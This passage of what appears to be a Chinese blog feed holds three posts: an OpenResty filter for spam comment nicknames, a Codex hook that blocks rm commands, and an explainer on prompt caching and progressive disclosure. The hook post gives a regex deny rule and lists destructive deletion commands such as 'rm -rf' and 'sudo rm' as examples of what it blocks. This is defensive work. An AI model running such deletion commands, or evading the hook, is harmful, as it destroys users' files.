class="line"></span><br><span class="line">    <span class="attribute">proxy_set_header</span> Host <span class="variable">$host</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Real-IP <span class="variable">$remote_addr</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Forwarded-For <span class="variable">$proxy_add_x_forwarded_for</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> REMOTE-HOST <span class="variable">$remote_addr</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> Upgrade <span class="variable">$http_upgrade</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> Connection <span class="string">&quot;upgrade&quot;</span>;</span><br><span class="line">    <span class="attribute">proxy_set_header</span> X-Forwarded-Proto <span class="variable">$scheme</span>;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">proxy_http_version</span> <span class="number">1</span>.<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    <span class="attribute">add_header</span> X-Cache <span class="variable">$upstream_cache_status</span>;</span><br><span class="line">    <span class="attribute">add_header</span> Strict-Transport-Security <span class="string">&quot;max-age=31536000&quot;</span>;</span><br><span class="line">    <span class="attribute">add_header</span> Cache-Control <span class="literal">no</span>-cache;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里没有把我服务器上的地区IP限制配置放进去，毕竟每个人的访问控制都不一样。保留自己原本的<code>include</code>、<code>allow</code>和<code>deny</code>配置就行。</p><h2 id="4-我又把自己坑了一次">4.我又把自己坑了一次</h2><p>内置数组测试成功以后，我兴冲冲地把词库换成了外部文件，然后用“手游代理”当昵称发评论。</p><p>结果，它居然成功发出去了。</p><p>这就很离谱，因为“手游代理”不光应该命中完整词语，还会命中词库里的“代理”。后来才发现，不是匹配代码有问题，而是OpenResty根本没有读到外部文件。</p><p>最开始的代码在<code>io.open()</code>失败后直接<code>return</code>，相当于过滤器出错就放行。文件放错目录、没有挂载进容器、权限不对，都会让整套过滤静悄悄地失效，日志不看根本发现不了。</p><p>所以最终配置做了两件事：</p><ol><li>依次尝试几个常见的OpenResty配置路径；</li><li>词库不存在、不可读或者为空时返回500，不再把评论放过去。</li></ol><p>这样配置有问题时，前端会明确显示：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Comment filtering is temporarily unavailable. Please try again later.</span><br></pre></td></tr></table></figure><p>虽然会暂时影响评论，但总比自以为过滤器在工作，实际广告全放进来强。对我这种个人博客来说，<strong>过滤器挂了就先禁止提交</strong>反而更加合适。</p><h2 id="5-检查和测试">5.检查和测试</h2><h3 id="5-1-检查并重载OpenResty">5.1 检查并重载OpenResty</h3><p>修改Nginx配置以后，先检查语法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ docker <span class="built_in">exec</span> 你的OpenResty容器名 openresty -t</span><br></pre></td></tr></table></figure><p>没有问题再重载：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ docker <span class="built_in">exec</span> 你的OpenResty容器名 openresty -s reload</span><br></pre></td></tr></table></figure><p>如果镜像里面没有<code>openresty</code>命令，就把它换成<code>nginx</code>。</p><p>只修改<code>artalk-blocked-words.txt</code>不需要重载，因为每次提交评论都会重新读取这个小文件。我的博客评论量不高，这点磁盘读取开销可以忽略。流量特别大的站点可以改成Lua模块配合<code>require</code>缓存，但更新词库以后就需要重载worker了。</p><h3 id="5-2-模拟广告昵称">5.2 模拟广告昵称</h3><p>我原来的配置会拦截<code>curl</code>这个User-Agent，所以测试时要伪装成普通浏览器，不然拿到的403可能来自第一层UA规则，根本证明不了昵称过滤生效。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ curl -i <span class="string">&quot;https://你的Artalk域名/api/v2/comments&quot;</span> \</span><br><span class="line">  -A <span class="string">&quot;Mozilla/5.0&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  --data <span class="string">&#x27;&#123;&quot;name&quot;:&quot;手游代理&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>正常情况下会返回：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">HTTP/2 403</span><br><span class="line">&#123;&quot;msg&quot;:&quot;Comment rejected: the nickname contains prohibited advertising or spam-related terms. Please use a different nickname.&quot;&#125;</span><br></pre></td></tr></table></figure><p>然后再换一个正常昵称：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ curl -i <span class="string">&quot;https://你的Artalk域名/api/v2/comments&quot;</span> \</span><br><span class="line">  -A <span class="string">&quot;Mozilla/5.0&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  --data <span class="string">&#x27;&#123;&quot;name&quot;:&quot;普通访客&quot;&#125;&#x27;</span></span><br></pre></td></tr></table></figure><p>因为测试数据缺少邮箱、正文和页面信息，Artalk大概率会返回400，但它不应该返回昵称过滤器产生的403。</p><p>最终回到网页上测试，“算命”“手游代理”这类昵称都会显示评论失败，普通昵称则可以正常发表评论，这下才算是真的搞定了。</p><h2 id="6-还有几个要注意的地方">6.还有几个要注意的地方</h2><p>关键词过滤不是万能的，对方在两个字中间插入空格、横线、点号就可以尝试绕过。所以配置里面会先清理常见空白和分隔符，让“算 命”“机-场”“手_游_代_理”也能命中。</p><p>但是过滤做得越狠，误伤也会越多。尤其是“代理”“节点”“加速器”这种正常语境也会出现的词，我这里只过滤昵称，没有过滤评论正文，影响相对小一点。如果拿同一份词库过滤正文，最好先删掉这些宽泛词。</p><p>另外，User-Agent过滤、昵称关键词和IP限制都只能挡住一部分垃圾请求。Artalk自己的验证码、评论审核和反垃圾配置也该开还是得开，多放几层总比只靠一个正则表达式靠谱。</p><h2 id="The-end">The end</h2><p>从最开始拦<code>python requests</code>，到后来检查Artalk昵称，再到外置词库没加载导致广告漏网，这个小配置居然也能连续踩好几个坑。</p><p>不过现在以后再看到新的广告昵称，只要往文本文件里面加一行就完事了，终于不用每次都去改那一大坨Nginx配置。</p><p>有新的垃圾评论套路，也欢迎来评论区交流，前提是别把昵称起成“算命大师”。</p>]]></content>
    
    
    <summary type="html">使用OpenResty读取Artalk评论请求，根据外置昵称关键词返回403，拦截算命、机场等广告评论</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="博客建站" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E5%8D%9A%E5%AE%A2%E5%BB%BA%E7%AB%99/"/>
    
    
    <category term="博客建站" scheme="https://blog.musnow.top/tags/%E5%8D%9A%E5%AE%A2%E5%BB%BA%E7%AB%99/"/>
    
    <category term="Hexo" scheme="https://blog.musnow.top/tags/Hexo/"/>
    
    <category term="Nginx" scheme="https://blog.musnow.top/tags/Nginx/"/>
    
  </entry>
  
  <entry>
    <title>【AI】给Codex加上rm防误删Hook</title>
    <link href="https://blog.musnow.top/posts/1314859114/"/>
    <id>https://blog.musnow.top/posts/1314859114/</id>
    <published>2026-07-12T11:11:01.000Z</published>
    <updated>2026-07-12T14:03:27.000Z</updated>
    
    <content type="html"><![CDATA[<p>Codex里拦住直接rm命令，给误删多上一道保险。</p><span id="more"></span><h2 id="1-起因">1.起因</h2><p>最近在网上看到，有很多人的文件都说被 AI 工具误删了。</p><p>正常写代码时删个测试文件、临时目录其实挺常见的，但AI工具为了完成任务，删起东西来也可能一点不手软。权限一给高，哪天模型来一句<code>rm -rf</code>，把目录清了，等它跑完再看终端输出，那可真是欲哭无泪。</p><p>最开始想到的办法很朴素，给zsh加一句alias：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">alias</span> <span class="built_in">rm</span>=<span class="string">&#x27;rmtrash&#x27;</span></span><br></pre></td></tr></table></figure><p>这招平时自己在终端里敲命令还行，但放到Codex这里就不太稳了。Codex跑的shell不一定会加载你的交互式配置，<code>/bin/rm</code>也能直接绕过去。只靠alias，多少有点看运气。</p><hr><h2 id="2-先装对工具：rmtrash">2. 先装对工具：rmtrash</h2><p>在写Hook前，先把替代命令准备好。这里推荐安装<code>rmtrash</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install rmtrash</span><br></pre></td></tr></table></figure><p>它就是按<code>rm</code>的使用习惯做的废纸篓版本，删普通文件和目录都直接用它：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rmtrash 文件.txt</span><br><span class="line">rmtrash -rf 临时目录</span><br></pre></td></tr></table></figure><p>执行后文件会进macOS废纸篓，想反悔还能在访达里面恢复。</p><p>这里不要直接用<code>trash</code>命令。这个名字在不同macOS版本和第三方工具里都可能对应不同实现，它不是给<code>rm</code>做参数兼容的。Codex常用的<code>rm -rf</code>一类参数直接丢给<code>trash</code>，要么被忽略，要么行为和预期不一样，踩坑了更难受。</p><p>后面Hook返回的提示也统一让AI使用<code>rmtrash</code>，这样不用再猜它该换成哪个命令。</p><hr><h2 id="3-Codex的PreToolUse-Hook">3. Codex的PreToolUse Hook</h2><p>Codex自带Hooks机制，可以在工具调用前后跑一段固定脚本。这里要用的就是<code>PreToolUse</code>，它能在shell命令真正执行前看一眼命令内容，发现是<code>rm</code>就直接拒绝。</p><p>先在用户目录创建文件：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">~/.codex/hooks.json</span><br><span class="line">~/.codex/hooks/block_rm.py</span><br></pre></td></tr></table></figure><h3 id="3-1-配置hooks-json">3.1 配置hooks.json</h3><p>把下面这段放进<code>~/.codex/hooks.json</code>：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;hooks&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;PreToolUse&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;matcher&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^Bash$&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;hooks&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">          <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;command&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/usr/bin/python3 /Users/你的用户名/.codex/hooks/block_rm.py&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;timeout&quot;</span><span class="punctuation">:</span> <span class="number">5</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;statusMessage&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Checking rm command&quot;</span></span><br><span class="line">          <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">]</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>这里的<code>matcher</code>只匹配Codex的shell工具，其他工具不会被这个Hook影响。</p><h3 id="3-2-写拦截脚本">3.2 写拦截脚本</h3><p>接着创建<code>~/.codex/hooks/block_rm.py</code>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">RM_COMMAND = re.<span class="built_in">compile</span>(</span><br><span class="line">    <span class="string">r&quot;(?:^|[\n;&amp;|])\s*&quot;</span></span><br><span class="line">    <span class="string">r&quot;(?:(?:command|sudo(?:\s+-[A-Za-z]+)*|env(?:\s+[A-Za-z_][A-Za-z0-9_]*=[^\s]+)*)\s+)*&quot;</span></span><br><span class="line">    <span class="string">r&quot;\\?(?:/(?:usr/)?bin/)?rm(?=$|[\s;|&amp;])&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">payload = json.load(sys.stdin)</span><br><span class="line">command = <span class="built_in">str</span>(payload.get(<span class="string">&quot;tool_input&quot;</span>, &#123;&#125;).get(<span class="string">&quot;command&quot;</span>, <span class="string">&quot;&quot;</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> RM_COMMAND.search(command):</span><br><span class="line">    <span class="built_in">print</span>(json.dumps(&#123;</span><br><span class="line">        <span class="string">&quot;hookSpecificOutput&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;hookEventName&quot;</span>: <span class="string">&quot;PreToolUse&quot;</span>,</span><br><span class="line">            <span class="string">&quot;permissionDecision&quot;</span>: <span class="string">&quot;deny&quot;</span>,</span><br><span class="line">            <span class="string">&quot;permissionDecisionReason&quot;</span>: <span class="string">&quot;Use rmtrash &lt;path&gt; to move files to the macOS Trash. Do not use rm or /bin/rm.&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;))</span><br></pre></td></tr></table></figure><p>拦住命令之后别只甩一句“禁用”，不然AI又得重新猜下一步该干啥。这里直接告诉它用<code>rmtrash</code>把目标丢进废纸篓，正常删除文件的流程还能继续跑。</p><p>最后给脚本加上执行权限：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 700 ~/.codex/hooks/block_rm.py</span><br></pre></td></tr></table></figure><p>重新打开Codex，第一次使用时如果出现Hook信任提示，确认这个脚本就是自己写的之后再选择信任。</p><h2 id="4-到底拦住了哪些东西？">4. 到底拦住了哪些东西？</h2><p>这个脚本只干一件事：拦截顶层shell命令里真正执行的<code>rm</code>。</p><p>下面这些都会被拒绝：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> file.txt</span><br><span class="line"><span class="built_in">rm</span> -rf 临时目录</span><br><span class="line">/bin/rm file.txt</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> file.txt</span><br></pre></td></tr></table></figure><p>普通命令不受影响：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la</span><br><span class="line">git status</span><br></pre></td></tr></table></figure><p>可以把Hook理解成Codex执行命令前的门卫。模型把命令递出去，门卫看见<code>rm</code>，直接给它挡回来，命令就不会落到系统里。</p><h2 id="5-这玩意不是万能的">5. 这玩意不是万能的</h2><p>这里还是得说清楚，Hook看到的是Codex顶层发出的工具调用。</p><p>如果模型先写了一个脚本，再执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./cleanup.sh</span><br></pre></td></tr></table></figure><p>而<code>cleanup.sh</code>里面再去跑<code>rm</code>，这个Hook只看到了<code>./cleanup.sh</code>，看不到脚本内部的命令。同理，Python的<code>shutil.rmtree()</code>、Node.js的<code>fs.rm()</code>也不是这个Hook能处理的。</p><p>所以这个方案的目标不是给电脑装上绝对防删盾，而是先把最容易出现的直接<code>rm</code>误操作拦住。重要项目还是老老实实用Git提交、分支或者worktree，真出问题了才有地方回去。</p><h2 id="The-end">The end</h2><p>给Agent多加一道确定性的限制，有时候比在提示词里写十遍“不要删文件”管用得多。至少下次看到它想跑<code>rm -rf</code>，不会再只能干瞪眼了。</p>]]></content>
    
    
    <summary type="html">Codex跑shell命令时，单纯给rm配alias并不靠谱。用PreToolUse Hook可以在执行前拦住直接调用的rm命令。</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="编程工具" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="AI编程工具" scheme="https://blog.musnow.top/tags/AI%E7%BC%96%E7%A8%8B%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>【AI】渐进式披露能省Token，但要管住Agent Loop</title>
    <link href="https://blog.musnow.top/posts/9907522705/"/>
    <id>https://blog.musnow.top/posts/9907522705/</id>
    <published>2026-06-20T23:28:02.000Z</published>
    <updated>2026-06-21T06:37:10.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>好久没有手写博客了，本文纯手敲！（部分配图是AI生成的）</p></blockquote><p>从年初开始，skills引入的渐进式披露概念爆火。这个思路确实能节省模型消耗，但一个很容易被忽略的问题是：<strong>文件拆分不只是把大文档切小，它也会改变Agent Loop的执行路径</strong>。</p><p>要想说清楚这个账，我们需要先知道什么是大模型的prompt cache。</p><h2 id="Prompt-Cache和缓存命中计费">Prompt Cache和缓存命中计费</h2><p>目前所有大模型的服务商都会提供一个正常的输入/输出计费，和缓存输入的计费。其中缓存命中的输入计费是远远低于非缓存输入的。以“梁圣的恩情还不完”的模型为例，dsv4pro缓存命中的价格是未命中的8.3‰</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/06/350e1ae2e48720852e880515440f248d.webp" alt="image.png"></p><p>了解这个计费差距之后，再来简单说一下prompt cache是如何hit命中的。</p><p>以目前最主流的openai llm请求格式为例，我们发出去的请求是如下格式的json串：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;model&quot;</span><span class="punctuation">:</span> <span class="string">&quot;deepseek-v4-pro&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;messages&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="punctuation">&#123;</span><span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;system&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;你是一个有帮助的AI助手，回答要简明扼要。&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="punctuation">&#123;</span><span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;user&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> question<span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;stream&quot;</span><span class="punctuation">:</span> False<span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;max_tokens&quot;</span><span class="punctuation">:</span> <span class="number">512</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;temperature&quot;</span><span class="punctuation">:</span> <span class="number">0.7</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>这里我们可以忽略其他字段，只看<strong>messages数组</strong>，这就是我们对话的上下文了，这个数组里面会包含system prompt、用户发出去的prompt、以及模型的工具调用和工具返回的结果。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">[</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;system&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;你是一个天气助手。&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;user&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;北京今天适合出门吗？&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;assistant&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;tool_calls&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">      <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;call_abc123&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;function&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;function&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;get_weather&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;arguments&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&#123;\&quot;city\&quot;:\&quot;北京\&quot;,\&quot;date\&quot;:\&quot;today\&quot;&#125;&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;tool&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;tool_call_id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;call_abc123&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;get_weather&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;&#123;\&quot;city\&quot;:\&quot;北京\&quot;,\&quot;date\&quot;:\&quot;today\&quot;,\&quot;weather\&quot;:\&quot;晴\&quot;,\&quot;temperature\&quot;:\&quot;28°C\&quot;,\&quot;aqi\&quot;:\&quot;良\&quot;&#125;&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;role&quot;</span><span class="punctuation">:</span> <span class="string">&quot;assistant&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;content&quot;</span><span class="punctuation">:</span> <span class="string">&quot;北京今天晴，气温约 28°C，空气质量良，适合出门。&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">]</span></span><br></pre></td></tr></table></figure><p>我们在Agent工具里的每一轮请求，都会带上我们先前对话和工具调用的所有历史，请求大模型API。<strong>在第一次请求的时候</strong>，这批历史消息就会服务端处理，写入KV Cache，后续我们发起请求再次携带这批历史信息的时候，就会命中服务器的KV Cache，从而计入缓存命中，以减少模型调用的资费。</p><p>网上常言的“缓存命中率”，在Agent工具支持的好的时候，可以简易地视作已经被写入缓存的数据，和我们每轮对话新增的数据的比例。</p><p>$$<br>缓存命中率 ≈ \frac{历史 token}{历史 token + 本轮新增 token} \times 100%<br>$$</p><p>而如果我们使用的Agent工具很垃圾，在追加本次请求新的消息的时候，<strong>把历史消息给重组或者修改了</strong>，那就出问题了。因为llm服务端只会匹配你的历史消息的前缀，发现前缀出现变化，缓存就没有命中了，此时就走了全量计费，那烧的钱也是库库涨了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/06/5dbf845d38f6cea0603fa4e5be50f72a.webp" alt="image.png"></p><p>有关缓存命中率的事情是另外一个话题，本文不再展开。<strong>重点是，我们每轮请求的时候，所有历史消息都会再次被计算一次，计入Tokens资费。</strong></p><p>很多刚用大模型的朋友在这个环节上就会产生疑惑：“为什么我的上下文才用了200k，tokens却消耗了好几百万了？”，那是因为每轮的Agent交互都会发出一次请求，每次请求都会进行全量的资费计算，服务端显示的Tokens消耗量是每轮交互的Tokens消耗的叠加！</p><pre><code class="highlight mermaid">sequenceDiagram    participant U as 用户    participant A as Agent服务    participant L as LLM接口    U-&gt;&gt;A: 第1轮提问    A-&gt;&gt;L: 发送完整上下文(消息1)，计费20k Token    L--&gt;&gt;A: 返回回答    Note over A: 累计消耗：20k    U-&gt;&gt;A: 第2轮追问    A-&gt;&gt;L: 发送完整历史(消息1+消息2)，计费25k Token    L--&gt;&gt;A: 返回回答    Note over A: 累计消耗：45k    U-&gt;&gt;A: 第3轮追问    A-&gt;&gt;L: 发送全部历史(消息1+2+3)，计费28k Token    L--&gt;&gt;A: 返回回答    Note over A: 累计消耗：73k    Note over U,A: 用户疑惑：上下文仅28k，账单却显示73k</code></pre><h2 id="System-Prompt和渐进式披露">System Prompt和渐进式披露</h2><p>在了解了大模型的计费规则之后，我们再来说说Agent工作流和“渐进式披露”的概念。</p><p>在早前的Agent系统设计中，会将Agent需要调用工具的各类约束，以及需要用上的MCP工具/Function Call<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>，加载到Agent的System Prompt和Tool Use块中，作为第一次请求的参数，携带给大模型。</p><p>这就会导致我们所有工具，不管本轮调用时模型用不用得上，都会把完整的工具名字、工具参数和工具描述信息发送给大模型，从而造成Tokens的浪费。还可能会因为工具过多，对LLM选择工具造成心智负担，若选择错工具，流程也就出错了，从而影响整个Agent工作流的准确性和效率。</p><p>而渐进式披露的思路与此不同，在发送首轮消息的时候，只会携带每一个skill的名字和简述，不会携带完整的工具调用信息。Agent在识别到自己需要某一个skill的时候，再去读取这个skill的SKILL.md文件，和skill中可能包含的其他需要Agent阅读的参考文件，根据文件约束工作。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/06/0b8896a3ebc4d7c625be5211cbde82d9.webp" alt="image.png"></p><p>在openclaw、hermes这种个人助理式的Agent工具中，渐进式披露无疑是个非常好的思路，毕竟这些助理式系统需要对接的外部工具实在是太多了。如果使用MCP的方式，把这些工具全都加载到Agent的上下文里，哪怕只是工具调用的信息就足够把大模型context撑爆，openclaw也压根没有办法正常工作了。</p><p>而且这样做在绝大部分场景下也能节省成本，原本5个工具调用加上工具调用配套的指导说明，可能会占用1k的上下文token，并在每次请求的时候都被携带。现在可以被缩减成一个简单的skill描述，只需要占用100-200的token，在需要的时候才去加载完整的指导说明。</p><h2 